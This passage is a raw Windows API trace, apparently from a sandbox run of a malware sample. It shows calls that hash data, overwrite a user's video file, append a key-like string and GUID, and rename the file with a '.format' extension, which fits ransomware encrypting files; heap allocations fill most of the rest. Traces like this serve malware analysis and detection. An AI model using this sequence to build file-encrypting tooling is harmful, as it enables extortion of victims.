szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0067.378] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.378] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.378] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.378] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.378] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.378] GetLastError () returned 0x0 [0067.378] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.378] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0067.378] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.378] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7fe0) returned 0x32b2f40 [0067.378] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.378] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.378] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x7fdf, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x7fdf, lpOverlapped=0x0) returned 1 [0067.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0067.379] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x7fe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d548 [0067.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0067.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0067.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d548 | out: hHeap=0x5d0000) returned 1 [0067.379] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0067.379] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.379] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.379] CloseHandle (hObject=0x5c8) returned 1 [0067.380] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abf08 [0067.380] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x890) returned 0x3178dd8 [0067.380] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abf08 | out: hHeap=0x5d0000) returned 1 [0067.380] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Pea4H1Vnl0zHM1NrtA.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\pea4h1vnl0zhm1nrta.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Pea4H1Vnl0zHM1NrtA.avi.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\pea4h1vnl0zhm1nrta.avi.format")) returned 1 [0067.380] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.380] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.381] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.381] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65c274c0, ftCreationTime.dwHighDateTime=0x1d4c5a7, ftLastAccessTime.dwLowDateTime=0x91dd0a60, ftLastAccessTime.dwHighDateTime=0x1d4d1e7, ftLastWriteTime.dwLowDateTime=0x91dd0a60, ftLastWriteTime.dwHighDateTime=0x1d4d1e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fe4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pea4H1Vnl0zHM1NrtA.avi", cAlternateFileName="PEA4H1~1.AVI")) returned 0 [0067.381] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0067.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0067.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d340 | out: hHeap=0x5d0000) returned 1 [0067.382] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325dde8 | out: hHeap=0x5d0000) returned 1 [0067.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d068 | out: hHeap=0x5d0000) returned 1 [0067.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d5a8 | out: hHeap=0x5d0000) returned 1 [0067.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e1b0 | out: hHeap=0x5d0000) returned 1 [0067.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e208 | out: hHeap=0x5d0000) returned 1 [0067.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cb20 | out: hHeap=0x5d0000) returned 1 [0067.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d208 | out: hHeap=0x5d0000) returned 1 [0067.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d1a0 | out: hHeap=0x5d0000) returned 1 [0067.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d868 | out: hHeap=0x5d0000) returned 1 [0067.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d138 | out: hHeap=0x5d0000) returned 1 [0067.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3255580 | out: hHeap=0x5d0000) returned 1 [0067.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d0d0 | out: hHeap=0x5d0000) returned 1 [0067.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32555d8 | out: hHeap=0x5d0000) returned 1 [0067.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3255630 | out: hHeap=0x5d0000) returned 1 [0067.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cb88 | out: hHeap=0x5d0000) returned 1 [0067.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3255688 | out: hHeap=0x5d0000) returned 1 [0067.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cec8 | out: hHeap=0x5d0000) returned 1 [0067.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32556e0 | out: hHeap=0x5d0000) returned 1 [0067.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3255738 | out: hHeap=0x5d0000) returned 1 [0067.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf30 | out: hHeap=0x5d0000) returned 1 [0067.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325da20 | out: hHeap=0x5d0000) returned 1 [0067.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328dbb8 | out: hHeap=0x5d0000) returned 1 [0067.382] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0067.382] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.382] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.382] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.383] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.383] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.383] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.383] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.383] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.383] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.383] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.383] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.383] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.383] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.383] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.383] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.383] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.383] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.383] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.383] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.383] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.383] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.383] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.383] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.383] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.383] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.383] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0067.383] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.383] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.383] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.383] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.383] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.383] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.383] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.383] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf30 | out: hHeap=0x5d0000) returned 1 [0067.384] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0067.384] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.385] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.385] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.385] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.385] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.385] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0067.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.385] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.385] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.385] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.385] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.385] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.385] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.385] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.385] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.385] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.385] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.385] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0067.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.387] RtlAllocateHeap 